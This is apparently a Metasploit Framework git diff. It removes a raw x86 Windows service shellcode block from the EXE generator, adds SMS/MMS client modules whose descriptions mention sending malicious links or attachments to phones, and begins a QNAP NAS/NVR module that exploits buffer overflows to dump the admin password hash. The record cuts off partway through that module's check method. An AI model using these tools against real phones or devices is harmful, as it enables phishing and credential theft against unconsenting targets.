# Reloads an exploit module and launches an exploit.
|
||||
#
|
||||
|
|
|
@ -63,7 +63,7 @@ class Post
|
|||
end
|
||||
|
||||
#
|
||||
# Reloads an auxiliary module and executes it
|
||||
# Reloads a post module and executes it
|
||||
#
|
||||
def cmd_rerun(*args)
|
||||
# Stop existing job and reload the module
|
||||
|
@ -75,7 +75,7 @@ class Post
|
|||
alias cmd_rexploit cmd_rerun
|
||||
|
||||
#
|
||||
# Executes an auxiliary module
|
||||
# Executes a post module
|
||||
#
|
||||
def cmd_run(*args)
|
||||
opt_str = nil
|
||||
|
@ -144,7 +144,7 @@ class Post
|
|||
print_line "Usage: run [options]"
|
||||
print_line
|
||||
print_line "Launches a post module."
|
||||
print @@auxiliary_opts.usage
|
||||
print @@post_opts.usage
|
||||
end
|
||||
|
||||
alias cmd_exploit_help cmd_run_help
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
module Msf
|
||||
module Util
|
||||
|
||||
#
|
||||
# The class provides methods for creating and encoding executable file
|
||||
# formats for various platforms. It is a replacement for the previous
|
||||
# code in Rex::Text
|
||||
#
|
||||
|
||||
class EXE
|
||||
|
||||
require 'rex'
|
||||
|
@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender'
|
|||
|
||||
# Check if it exists now
|
||||
return if File.file?(opts[:template])
|
||||
|
||||
# If it failed, try the default...
|
||||
if opts[:fallback]
|
||||
default_template = File.join(path, exe)
|
||||
|
@ -628,67 +627,15 @@ require 'msf/core/exe/segment_appender'
|
|||
opts[:exe_type] = :service_exe
|
||||
return exe_sub_method(code,opts)
|
||||
else
|
||||
name = opts[:servicename]
|
||||
name ||= Rex::Text.rand_text_alpha(8)
|
||||
pushed_service_name = string_to_pushes(name)
|
||||
ENV['MSF_SERVICENAME'] = opts[:servicename]
|
||||
|
||||
precode_size = 0xc6
|
||||
svcmain_code_offset = precode_size + pushed_service_name.length
|
||||
opts[:framework] = framework
|
||||
opts[:payload] = 'stdin'
|
||||
opts[:encoder] = '@x86/service,'+opts[:serviceencoder]
|
||||
|
||||
precode_size = 0xcc
|
||||
hash_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
precode_size = 0xbf
|
||||
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
|
||||
|
||||
code_service_stopped =
|
||||
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
|
||||
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
|
||||
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
|
||||
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
|
||||
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
|
||||
|
||||
precode_size = 0x42
|
||||
shellcode_code_offset = code_service_stopped.length + precode_size
|
||||
|
||||
# code_service could be encoded in the future
|
||||
code_service =
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
|
||||
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
|
||||
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
|
||||
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
|
||||
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
|
||||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
|
||||
|
||||
# Append a new section to the template
|
||||
Msf::Exe::SegmentAppender.new({
|
||||
:payload => code_service + code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
}).generate_pe
|
||||
venom_generator = Msf::PayloadGenerator.new(opts)
|
||||
code_service = venom_generator.multiple_encode_payload(code)
|
||||
return to_winpe_only(framework, code_service, opts)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1435,7 +1435,7 @@ class Def_kernel32
|
|||
["PDWORD","phModule","out"],
|
||||
])
|
||||
|
||||
dll.add_function( 'GetModuleHandleW', 'DWORD',[
|
||||
dll.add_function( 'GetModuleHandleW', 'HANDLE',[
|
||||
["PWCHAR","lpModuleName","in"],
|
||||
])
|
||||
|
||||
|
@ -1591,7 +1591,7 @@ class Def_kernel32
|
|||
["PDWORD","pdwHandleCount","out"],
|
||||
])
|
||||
|
||||
dll.add_function( 'GetProcessHeap', 'DWORD',[
|
||||
dll.add_function( 'GetProcessHeap', 'HANDLE',[
|
||||
])
|
||||
|
||||
dll.add_function( 'GetProcessHeaps', 'DWORD',[
|
||||
|
@ -2078,7 +2078,7 @@ class Def_kernel32
|
|||
["DWORD","dwFlags","in"],
|
||||
])
|
||||
|
||||
dll.add_function( 'HeapCreate', 'DWORD',[
|
||||
dll.add_function( 'HeapCreate', 'HANDLE',[
|
||||
["DWORD","flOptions","in"],
|
||||
["DWORD","dwInitialSize","in"],
|
||||
["DWORD","dwMaximumSize","in"],
|
||||
|
@ -2258,23 +2258,23 @@ class Def_kernel32
|
|||
["PBLOB","lpCriticalSection","inout"],
|
||||
])
|
||||
|
||||
dll.add_function( 'LoadLibraryA', 'DWORD',[
|
||||
dll.add_function( 'LoadLibraryA', 'HANDLE',[
|
||||
["PCHAR","lpLibFileName","in"],
|
||||
])
|
||||
|
||||
dll.add_function( 'LoadLibraryExA', 'DWORD',[
|
||||
dll.add_function( 'LoadLibraryExA', 'HANDLE',[
|
||||
["PCHAR","lpLibFileName","in"],
|
||||
["HANDLE","hFile","inout"],
|
||||
["DWORD","dwFlags","in"],
|
||||
])
|
||||
|
||||
dll.add_function( 'LoadLibraryExW', 'DWORD',[
|
||||
dll.add_function( 'LoadLibraryExW', 'HANDLE',[
|
||||
["PWCHAR","lpLibFileName","in"],
|
||||
["HANDLE","hFile","inout"],
|
||||
["DWORD","dwFlags","in"],
|
||||
])
|
||||
|
||||
dll.add_function( 'LoadLibraryW', 'DWORD',[
|
||||
dll.add_function( 'LoadLibraryW', 'HANDLE',[
|
||||
["PWCHAR","lpLibFileName","in"],
|
||||
])
|
||||
|
||||
|
|
|
@ -49,7 +49,7 @@ class MultiCaller
|
|||
# needed by DLL helper
|
||||
@win_consts = win_consts
|
||||
|
||||
if @client.arch == ARCH_X64
|
||||
if @client.native_arch == ARCH_X64
|
||||
@native = 'Q<'
|
||||
else
|
||||
@native = 'V'
|
||||
|
|
|
@ -7,6 +7,8 @@ require 'rex/proto/drda'
|
|||
require 'rex/proto/iax2'
|
||||
require 'rex/proto/kerberos'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/proto/sms'
|
||||
require 'rex/proto/mms'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/mms/exception'
|
||||
require 'rex/proto/mms/model'
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
class Client
|
||||
|
||||
# @!attribute carrier
|
||||
# @return [Symbol] The service provider for the phone numbers.
|
||||
attr_accessor :carrier
|
||||
|
||||
# @!attribute smtp_server
|
||||
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
|
||||
attr_accessor :smtp_server
|
||||
|
||||
|
||||
# Initializes the Client object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
|
||||
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Client]
|
||||
def initialize(opts={})
|
||||
self.carrier = opts[:carrier]
|
||||
self.smtp_server = opts[:smtp_server]
|
||||
|
||||
validate_carrier!
|
||||
end
|
||||
|
||||
|
||||
# Sends a media text to multiple recipients.
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||
# @param subject [String] MMS subject
|
||||
# @param message [String] The message to send.
|
||||
# @param attachment_path [String] (Optional) The attachment to include
|
||||
# @param ctype [String] (Optional) The content type to use for the attachment
|
||||
#
|
||||
# @return [void]
|
||||
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
|
||||
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||
address = self.smtp_server.address
|
||||
port = self.smtp_server.port
|
||||
username = self.smtp_server.username
|
||||
password = self.smtp_server.password
|
||||
helo_domain = self.smtp_server.helo_domain
|
||||
login_type = self.smtp_server.login_type
|
||||
from = self.smtp_server.from
|
||||
|
||||
smtp = Net::SMTP.new(address, port)
|
||||
|
||||
begin
|
||||
smtp.enable_starttls_auto
|
||||
smtp.start(helo_domain, username, password, login_type) do
|
||||
recipients.each do |r|
|
||||
mms_message = Rex::Proto::Mms::Model::Message.new(
|
||||
message: message,
|
||||
content_type: ctype,
|
||||
attachment_path: attachment_path,
|
||||
from: from,
|
||||
to: r,
|
||||
subject: subject
|
||||
)
|
||||
smtp.send_message(mms_message.to_s, from, r)
|
||||
end
|
||||
end
|
||||
rescue Net::SMTPAuthenticationError => e
|
||||
raise Rex::Proto::Mms::Exception, e.message
|
||||
ensure
|
||||
smtp.finish if smtp && smtp.started?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Validates the carrier parameter.
|
||||
#
|
||||
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
|
||||
def validate_carrier!
|
||||
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
|
||||
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
class Exception < ::RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
|
||||
GATEWAYS = {
|
||||
att:'mms.att.net', # AT&T Wireless
|
||||
sprint: 'pm.sprint.com', # Sprint
|
||||
tmobile: 'tmomail.net', # T-Mobile
|
||||
verizon: 'vzwpix.com', # Verizon
|
||||
google: 'msg.fi.google.com' # Google
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'net/smtp'
|
||||
require 'rex/proto/mms/model/smtp'
|
||||
require 'rex/proto/mms/model/message'
|
||||
require 'rex/proto/mms/client'
|
|
@ -0,0 +1,108 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
class Message
|
||||
|
||||
# @!attribute message
|
||||
# @return [String] The text message
|
||||
attr_accessor :message
|
||||
|
||||
# @!attribute content_type
|
||||
# @return [Fixnum] The content type of the attachment
|
||||
attr_accessor :content_type
|
||||
|
||||
# @!attribute attachment
|
||||
# @return [String] The loaded attachment converted to Base64
|
||||
attr_accessor :attachment
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] The from field in the email
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute to
|
||||
# @return [String] The to field in the email
|
||||
attr_accessor :to
|
||||
|
||||
# @!attribute subject
|
||||
# @return [String] The subject of the email
|
||||
attr_accessor :subject
|
||||
|
||||
# @!attribute attachment_name
|
||||
# @return [String] The attachment base name extracted from :attachment
|
||||
attr_accessor :attachment_name
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :from
|
||||
# @option opts [String] :to
|
||||
# @option opts [String] :message
|
||||
# @option opts [String] :content_type
|
||||
# @option opts [String] :attachment_path
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Model::Message]
|
||||
def initialize(opts={})
|
||||
self.from = opts[:from]
|
||||
self.to = opts[:to]
|
||||
self.message = opts[:message]
|
||||
self.subject = opts[:subject]
|
||||
self.content_type = opts[:content_type]
|
||||
if opts[:attachment_path]
|
||||
self.attachment = load_file_to_base64(opts[:attachment_path])
|
||||
self.attachment_name = File.basename(opts[:attachment_path])
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw MMS message
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
generate_mms_message
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
||||
# Returns the loaded file in Base64 format
|
||||
#
|
||||
# @return [String] Base64 data
|
||||
def load_file_to_base64(path)
|
||||
buf = File.read(path)
|
||||
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw MMS message
|
||||
#
|
||||
# @return [String]
|
||||
def generate_mms_message
|
||||
text = Rex::MIME::Message.new
|
||||
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
|
||||
body = Rex::MIME::Message.new
|
||||
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
|
||||
if self.attachment
|
||||
body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
|
||||
end
|
||||
|
||||
mms = "MIME-Version: 1.0\n"
|
||||
mms << "From: #{self.from}\n"
|
||||
mms << "To: #{self.to}\n"
|
||||
mms << "Subject: #{self.subject}\n"
|
||||
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
|
||||
mms << "\n"
|
||||
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
|
||||
|
||||
mms
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
class Smtp
|
||||
|
||||
# @!attribute address
|
||||
# @return [String] SMTP address
|
||||
attr_accessor :address
|
||||
|
||||
# @!attribute port
|
||||
# @return [Fixnum] SMTP port
|
||||
attr_accessor :port
|
||||
|
||||
# @!attribute username
|
||||
# @return [String] SMTP account/username
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute password
|
||||
# @return [String] SMTP password
|
||||
attr_accessor :password
|
||||
|
||||
# @!attribute login_type
|
||||
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
|
||||
attr_accessor :login_type
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] Sender
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute helo_domain
|
||||
# @return [String] The domain to use for the HELO SMTP message
|
||||
attr_accessor :helo_domain
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :address
|
||||
# @option opts [Fixnum] :port
|
||||
# @option opts [String] :username
|
||||
# @option opts [String] :password
|
||||
# @option opts [String] :helo_domain
|
||||
# @option opts [Symbol] :login_type
|
||||
# @option opts [String] :from
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Model::Smtp]
|
||||
def initialize(opts={})
|
||||
self.address = opts[:address]
|
||||
self.port = opts[:port] || 25
|
||||
self.username = opts[:username]
|
||||
self.password = opts[:password]
|
||||
self.helo_domain = opts[:helo_domain] || 'localhost'
|
||||
self.login_type = opts[:login_type] || :login
|
||||
self.from = opts[:from] || ''
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/sms/exception'
|
||||
require 'rex/proto/sms/model'
|
|
@ -0,0 +1,81 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Sms
|
||||
class Client
|
||||
|
||||
# @!attribute carrier
|
||||
# @return [Symbol] The service provider for the phone numbers.
|
||||
attr_accessor :carrier
|
||||
|
||||
# @!attribute smtp_server
|
||||
# @return [Rex::Proto::Sms::Model::Smtp] The Smtp object with the Smtp settings.
|
||||
attr_accessor :smtp_server
|
||||
|
||||
|
||||
# Initializes the Client object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [Symbol] Service provider name (see Rex::Proto::Sms::Model::GATEWAYS)
|
||||
# @option opts [Rex::Proto::Sms::Model::Smtp] SMTP object
|
||||
#
|
||||
# @return [Rex::Proto::Sms::Client]
|
||||
def initialize(opts={})
|
||||
self.carrier = opts[:carrier]
|
||||
self.smtp_server = opts[:smtp_server]
|
||||
|
||||
validate_carrier!
|
||||
end
|
||||
|
||||
|
||||
# Sends a text to multiple recipients.
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||
# @param message [String] The text message to send.
|
||||
#
|
||||
# @return [void]
|
||||
def send_text_to_phones(phone_numbers, message)
|
||||
carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier]
|
||||
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||
address = self.smtp_server.address
|
||||
port = self.smtp_server.port
|
||||
username = self.smtp_server.username
|
||||
password = self.smtp_server.password
|
||||
helo_domain = self.smtp_server.helo_domain
|
||||
login_type = self.smtp_server.login_type
|
||||
from = self.smtp_server.from
|
||||
|
||||
smtp = Net::SMTP.new(address, port)
|
||||
|
||||
begin
|
||||
smtp.enable_starttls_auto
|
||||
smtp.start(helo_domain, username, password, login_type) do
|
||||
recipients.each do |r|
|
||||
smtp.send_message(message, from, r)
|
||||
end
|
||||
end
|
||||
rescue Net::SMTPAuthenticationError => e
|
||||
raise Rex::Proto::Sms::Exception, e.message
|
||||
ensure
|
||||
smtp.finish if smtp && smtp.started?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
||||
# Validates the carrier parameter.
|
||||
#
|
||||
# @raise [Rex::Proto::Sms::Exception] If an invalid service provider is used.
|
||||
def validate_carrier!
|
||||
unless Rex::Proto::Sms::Model::GATEWAYS.include?(self.carrier)
|
||||
raise Rex::Proto::Sms::Exception, 'Invalid carrier.'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Sms
|
||||
class Exception < ::RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Sms
|
||||
module Model
|
||||
|
||||
GATEWAYS = {
|
||||
:alltel => 'sms.alltelwireless.com', # Alltel
|
||||
:att => 'txt.att.net', # AT&T Wireless
|
||||
:boost => 'sms.myboostmobile.com', # Boost Mobile
|
||||
:cricket => 'sms.mycricket.com', # Cricket Wireless
|
||||
# Sprint is commented out, because the gateways don't seem to work.
|
||||
# Gateways tried for Sprint:
|
||||
# messaging.sprintpcs.com
|
||||
# pm.sprint.com
|
||||
#:sprint => 'messaging.sprintpcs.com', # Sprint
|
||||
:tmobile => 'tmomail.net', # T-Mobile
|
||||
:verizon => 'vtext.com', # Verizon
|
||||
:virgin => 'vmobl.com', # Virgin Mobile
|
||||
:google => 'msg.fi.google.com' # Google Project Fi
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'net/smtp'
|
||||
require 'rex/proto/sms/model/smtp'
|
||||
require 'rex/proto/sms/client'
|
|
@ -0,0 +1,62 @@
|
|||
module Rex
|
||||
module Proto
|
||||
module Sms
|
||||
module Model
|
||||
class Smtp
|
||||
|
||||
# @!attribute address
|
||||
# @return [String] SMTP address
|
||||
attr_accessor :address
|
||||
|
||||
# @!attribute port
|
||||
# @return [Fixnum] SMTP port
|
||||
attr_accessor :port
|
||||
|
||||
# @!attribute username
|
||||
# @return [String] SMTP account/username
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute password
|
||||
# @return [String] SMTP password
|
||||
attr_accessor :password
|
||||
|
||||
# @!attribute login_type
|
||||
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
|
||||
attr_accessor :login_type
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] Sender
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute helo_domain
|
||||
# @return [String] The domain to use for the HELO SMTP message
|
||||
attr_accessor :helo_domain
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :address
|
||||
# @option opts [Fixnum] :port
|
||||
# @option opts [String] :username
|
||||
# @option opts [String] :password
|
||||
# @option opts [String] :helo_domain
|
||||
# @option opts [Symbol] :login_type
|
||||
# @option opts [String] :from
|
||||
#
|
||||
# @return [Rex::Proto::Sms::Model::Smtp]
|
||||
def initialize(opts={})
|
||||
self.address = opts[:address]
|
||||
self.port = opts[:port] || 25
|
||||
self.username = opts[:username]
|
||||
self.password = opts[:password]
|
||||
self.helo_domain = opts[:helo_domain] || 'localhost'
|
||||
self.login_type = opts[:login_type] || :login
|
||||
self.from = opts[:from] || ''
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.16'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Mms
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MMS Client',
|
||||
'Description' => %q{
|
||||
This module sends an MMS message to multiple phones of the same carrier.
|
||||
You can use it to send a malicious attachment to phones.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
phone_numbers = datastore['CELLNUMBERS'].split
|
||||
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
|
||||
begin
|
||||
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
|
||||
print_status("Done.")
|
||||
rescue Rex::Proto::Mms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Sms
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMS Client',
|
||||
'Description' => %q{
|
||||
This module sends a text message to multiple phones of the same carrier.
|
||||
You can use it to send a malicious link to phones.
|
||||
|
||||
Please note that you do not use this module to send a media file (attachment).
|
||||
In order to send a media file, please use auxiliary/client/mms/send_mms instead.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
phone_numbers = datastore['CELLNUMBERS'].split
|
||||
print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...")
|
||||
begin
|
||||
res = send_text(phone_numbers, datastore['SMSMESSAGE'])
|
||||
print_status("Done.")
|
||||
rescue Rex::Proto::Sms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,206 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits combined heap and stack buffer overflows for QNAP
|
||||
NAS and NVR devices to dump the admin (root) shadow hash from memory via
|
||||
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.
|
||||
|
||||
A binary search is performed to find the correct offset for the BOFs.
|
||||
Since the server forks, blind remote exploitation is possible, provided
|
||||
the heap does not have ASLR.
|
||||
},
|
||||
'Author' => [
|
||||
'bashis', # Vuln/PoC
|
||||
'wvu', # Module
|
||||
'Donald Knuth' # Algorithm
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 31 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['Automatic', 'Description' => 'Automatic targeting'],
|
||||
['x86', 'Description' => 'x86 target', offset: 0x16b2],
|
||||
['ARM', 'Description' => 'ARM target', offset: 0x1562]
|
||||
],
|
||||
'DefaultAction' => 'Automatic',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(443),
|
||||
OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),
|
||||
OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]),
|
||||
OptInt.new('RETRIES', [true, 'Retry count for the attack', 10])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/cgi-bin/authLogin.cgi'
|
||||
)
|
||||
|
||||
if res && res.code == 200 && (xml = res.get_xml_document)
|
||||
info = []
|
||||
|
||||
%w{modelName version build patch}.each do |node|
|
||||
info << xml.at("//#{node}").text
|
||||
end
|
||||
|
||||
